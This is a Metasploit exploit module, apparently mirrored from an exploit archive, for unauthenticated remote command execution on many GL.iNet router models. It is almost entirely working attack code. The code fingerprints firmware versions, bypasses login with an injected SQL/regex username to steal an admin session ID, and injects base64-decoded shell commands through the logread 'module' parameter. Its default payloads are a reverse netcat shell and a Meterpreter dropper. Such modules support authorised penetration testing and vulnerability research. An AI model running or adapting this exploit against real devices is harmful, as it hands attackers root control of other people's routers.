Share
## https://sploitus.com/exploit?id=PACKETSTORM:176708
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'digest/md5'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GL.iNet Unauthenticated Remote Command Execution via the logread module.',  
'Description' => %q{  
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker  
to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`  
interface in the `logread` module.  
This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen  
by the attacker.  
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication  
through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be  
retrieved without knowing a valid username and password.  
  
The following GL.iNet network products are vulnerable:  
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;  
- MT6000: v4.5.0 - v4.5.3;  
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;  
- E750/E750V2, MV1000: v4.3.8;  
- X3000: v4.0.0 - v4.4.2;  
- XE3000: v4.0.0 - v4.4.3;  
- SFT1200: v4.3.6;  
- and potentially others (just try ;-)  
  
NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads  
when using the Linux Dropper target.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor  
'Unknown', # Discovery of the vulnerability CVE-2023-50445  
'DZONERZY' # Discovery of the vulnerability CVE-2023-50919  
  
],  
'References' => [  
['CVE', '2023-50445'],  
['CVE', '2023-50919'],  
['URL', 'https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445'],  
['URL', 'https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919'],  
['URL', 'https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html'],  
['URL', 'https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md']  
],  
'DisclosureDate' => '2023-12-10',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'],  
'Linemax' => 900,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('SID', [false, 'Session ID'])  
])  
end  
  
def vuln_version?  
@glinet = { 'model' => nil, 'firmware' => nil, 'arch' => nil }  
# check first with version 4.x api call  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'call',  
params: [  
'',  
'ui',  
'check_initialized',  
{}  
]  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
if res && res.code == 200 && res.body.include?('result')  
res_json = res.get_json_document  
unless res_json.blank?  
@glinet['model'] = res_json['result']['model']  
@glinet['firmware'] = res_json['result']['firmware_version']  
end  
else  
# check with version 3.x api call. These versions are NOT vulnerable  
res = send_request_cgi({  
'method' => 'GET',  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api', 'router', 'hello')  
})  
if res && res.code == 200 && res.body.include?('model') && res.body.include?('version')  
res_json = res.get_json_document  
unless res_json.blank?  
@glinet['model'] = res_json['model']  
@glinet['firmware'] = res_json['version']  
end  
end  
end  
  
# check for the vulnerable models and firmware versions  
case @glinet['model']  
when 'sft1200'  
@glinet['arch'] = 'mipsle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.6')  
when 'ar750', 'ar750s', 'ar300m', 'ar300m16'  
@glinet['arch'] = 'mipsbe'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')  
when 'mt300n-v2', 'mt1300'  
@glinet['arch'] = 'mipsle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')  
when 'ap1300', 'b1300'  
@glinet['arch'] = 'armle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')  
when 'e750', 'e750v2'  
@glinet['arch'] = 'mipsbe'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')  
when 'mv1000'  
@glinet['arch'] = 'armle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')  
when 'ax1800', 'axt1800', 'a1300'  
@glinet['arch'] = 'armle'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')  
when 'mt2500', 'mt2500a', 'mt3000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')  
when 'mt6000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.5.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.5.3')  
when 'x3000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.2')  
when 'xe3000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.3')  
end  
@glinet['arch'] = 'n/a'  
return false  
end  
  
def auth_bypass  
# Check if datastore['SID'] is set  
return datastore['SID'] unless datastore['SID'].blank?  
  
# Exploit CVE-2023-50919 to retrieve the SID without valid username and password.  
# Send an RPC request calling the challenge method, which will return a random nonce,  
# the selected root user’s salt, and the crypt’s algorithm to hash the password.  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'challenge',  
params: {  
username: 'root'  
}  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
if res && res.code == 200 && res.body.include?('nonce')  
res_json = res.get_json_document  
unless res_json.blank?  
nonce = res_json['result']['nonce']  
end  
else  
fail_with(Failure::NotFound, 'Getting the random nonce failed.')  
end  
# Perform REGEX to lookup uid field from /etc/shadow to be used as password with manipulated root username  
# Use the SQL injection part to lookup the ACLs for root stored in sqlite db  
# Create the password hash which is the md5 of the concatenation of the user, password, and the retrieved nonce  
username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"  
pw = '0'  
hash = Digest::MD5.hexdigest("#{username}:#{pw}:#{nonce}")  
  
# Login with the password hash and obtain the SessionID (SID)  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'login',  
params: {  
username: username.to_s,  
hash: hash.to_s  
}  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
if res && res.code == 200 && res.body.include?('sid')  
res_json = res.get_json_document  
unless res_json.blank?  
sid = res_json['result']['sid']  
end  
else  
fail_with(Failure::NotFound, 'Retrieving the SessionID (SID) failed.')  
end  
return sid  
end  
  
def execute_command(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
cmd = "echo #{payload}|openssl enc -base64 -d -A|sh"  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'call',  
params: [  
@sid.to_s,  
'logread',  
'get_system_log',  
{  
lines: '',  
module: "|#{cmd}"  
}  
]  
}.to_json  
  
return send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'cookie' => "Admin-Token=#{@sid}",  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
end  
  
def check  
print_status("Checking if #{peer} can be exploited.")  
# Check if target is a GL.iNet network device and the firmware version is vulnerable  
return CheckCode::Vulnerable("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if vuln_version?  
  
unless @glinet['firmware'].nil?  
# GL.iNet network devices with firmware version 3.x that are safe from this exploit  
return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.0.0')  
  
# GL.iNet network devices with a firmware version 4.x or higher which still could be vulnerable unless the architecture is not available (n/a)  
if @glinet['arch'] != 'n/a' && (Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0'))  
return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}")  
end  
return CheckCode::Detected("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0')  
end  
# No GL.iNet network device or not reachable  
CheckCode::Unknown('No GL.iNet network device or device is not responding.')  
end  
  
def exploit  
@sid = auth_bypass  
print_status("SID: #{@sid}")  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
# Don't check the response here since the server won't respond  
# if the payload is successfully executed.  
execute_cmdstager({ linemax: target.opts['Linemax'] })  
end  
end  
end